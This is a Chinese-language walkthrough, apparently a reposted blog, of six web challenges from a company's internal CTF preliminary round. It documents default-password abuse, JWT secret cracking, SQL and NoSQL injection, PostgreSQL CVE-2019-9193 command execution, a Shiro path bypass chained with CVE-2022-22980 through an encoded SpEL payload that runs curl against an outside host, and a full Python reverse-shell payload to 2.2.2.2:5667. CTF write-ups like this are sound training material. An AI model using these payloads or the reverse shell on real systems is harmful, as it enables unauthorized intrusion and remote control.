公司内部CTF的初赛web题
2023-1-11 16:34:31 Author: 珂技知识分享(查看原文) 阅读量:14 收藏

1.    初赛——ez0day

环境为某个不出名的绩效考核系统,java写的,漏洞点较多。
首先其存在默认密码,官方自带的用户手册可以看到,所以可以直接进后台,而后台有个这么功能(非预期解)。

所以直接就代码执行了。。。
但是这个代码执行并不是那么完美,因为它只有第一次保存会生效。可能是环境问题当我测试时把第一次机会浪费了,因此就折腾了好久。后来要求重启服务,第一次直接上jndi,然后jndi转反序列化转tomcat内存马搞定。

认真代码审计中可发现以下漏洞。
此处上传接口未调用了checkFileType进行白名单校验,他写了白名单,写了校验方法,但就是任性不调。

此处任意文件下载也差不多,他写了filterFilePath方法做处理,其他下载接口均使用了,偏偏这个不用而且是个未授权接口。

以及一系列非常直白非常极端的未授权soap的api,可直接命令执行/读写文件

当然,实际环境修复了一部分,但还是比较容易拿到shell。

2.    初赛——欢迎参加CTF初赛

一个登录接口,默认用户admin,有弱口令123456,进去之后只有一个权限检测。

权限检测接口则存在很明显的flask-jwt的session,随便改一下可以得到报错页面。

没有其他思路,于是用flask-unsign解密jwt
python3 -m pip install flask-unsign
flask-unsign --decode --cookie eyJxxx.xxx.xxx

同样没思路,只能爆破jwt key。
sudo apt-get install libc-dev
sudo apt-get install npm
sudo npm install --global jwt-cracker
jwt-cracker "eyJxxx.xxx.xxx" "abcdefghijklmnopqrstuwxyz1234567890" 6

利用jwt.io官网进行cookie修改(比较方便)

放到原查询权限接口,发现是SQL注入。

有报错信息所以直接用报错注入了,反复手注,发现其实flag是最后一个用户名。
payload如下构造即可。

得到结果如上,由于报错注入只能显示31位,再往后推几位就能全部显示flag了。3.    初赛——拳击赛

题目是个冷门web项目,开放了两个端口,除了web之外另一个端口是PostgreSQL。web很简单没漏洞,解决方法在PostgreSQL中。
找该项目在GitHub的配置文件中可发现默认密码,是个弱密码,爆破也可以得到。
由于PostgreSQL版本较高,可以直接CVE-2019-9193命令执行。
这里有个推荐的sql利用工具。

https://github.com/SafeGroceryStore/MDUT

明显是提权,一般简单的靶机,要么是SUID,要么是sudo。
sudo -l
sudo /var/backups/busybox1 id

最后发现flag在/root/flag中,就不截图了。

4.    初赛——冲破封锁线

一个明显的spring+shiro的登录页面,但显然不是shiro-550或者弱密码。虽然这个登录页面没有什么用,但给了这个靶场的重要提示。

接下来是接口爆破,swagger的页面是/swagger-ui/index.html,我字典里居然没有。

直接访问/customer/123/byPhone权限不够,使用/customer/123%0A/byPhone越权成功。
由于shiro出现的越权CVE实在太多,实际黑盒去测应该是很痛苦的事,可以参考下面的。
https://www.anquanke.com/post/id/240033
https://www.anquanke.com/post/id/240202
https://xz.aliyun.com/t/11633

越权之后却没有任何信息,根据mongo的提示,需要结合越权利用另外一个CVE-2022-22980。

/customer/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%69%70%2e%63%6f%6d%22%29%0A/byPhone
payload改成弹shell的即可。
5.    初赛——在线IM

很单纯的nosql注入却没几个人做的出来,是个Websocket环境,发送

{'$ne':1}即可获得flag,注意不能是双引号。

6.    初赛——pyhub

第一次访问会给一个jwt cookie而且有提示需要admin,解出如下。

那么很明显是让你篡改jwt cookie,爆破如下。
python3 -m pip install flask-unsign-wordlist
flask-unsign --cookie eyJxxx.xxx --unsign

然后要修改cookie。
flask-unsign --sign --cookie "{'user': {'is_admin': True}}" --secret 123456 --no-literal-eval

至此成功访问api。

顺便这题我做到这里就不会了,而且这题严重影响了我对另外一题解jwt的思路,因为我想的是无论如何不可能存在两题爆破jwt密钥。
先试试上传接口

测试可以发现,通过控制filename="/opt/ctf/1.txt",可以上传到/opt/ctf/下已存在的任意目录。上传py文件会报错,所以正如题目所说,这是一个上传pyc文件的靶场。

pyc就是py的编译文件,在import时就会自动生成。


再来看另外一个接口/api/v2/test

通过报错提示可以看出来,是调用api.views2的方法。

这里有些误导,会让人联想到可能存在类似java一些漏洞的玩法,通过python内置attribute,去设置某些属性,达到RCE的效果,比如这样。

但实际上就只是单纯告诉你这个接口是调用的/opt/ctf/api/views2.pyc的test方法,只要制作并上传views3.pyc就行。
那么如何制作pyc呢?首先要在/api/version查看python版本然后使用同版本。
/usr/local/python3.6.9/bin/python3  -m compileall test.py
然后会生成
__pycache__/test.cpython-36.pyc
上传到
/opt/ctf/api/views3.pyc路径。
最后POST访问
/api/v3/test即可。
test.py内容,经过前期对/api/v2/test接口的探测,只需要传参dict,返回str即可。
反弹shell的payload制作如下。

def test(args={}):    import socket    import subprocess    import os    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)    s.connect(("2.2.2.2",5667))    os.dup2(s.fileno(),0)    os.dup2(s.fileno(),1)    os.dup2(s.fileno(),2)    p=subprocess.call(["/bin/sh","-i"])    return "ok"

而且还从POST JSON传参到args,写成命令执行或者任意文件读取的shell也很容易。

效果是这样的


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486010&idx=1&sn=14d1a66729e8a8af68e269ca561318b7&chksm=fa973755cde0be43d3814e84eddaa685fe622af4315291981f5f5cdc731fe102051baefa3913#rd
如有侵权请联系:admin#unsafe.sh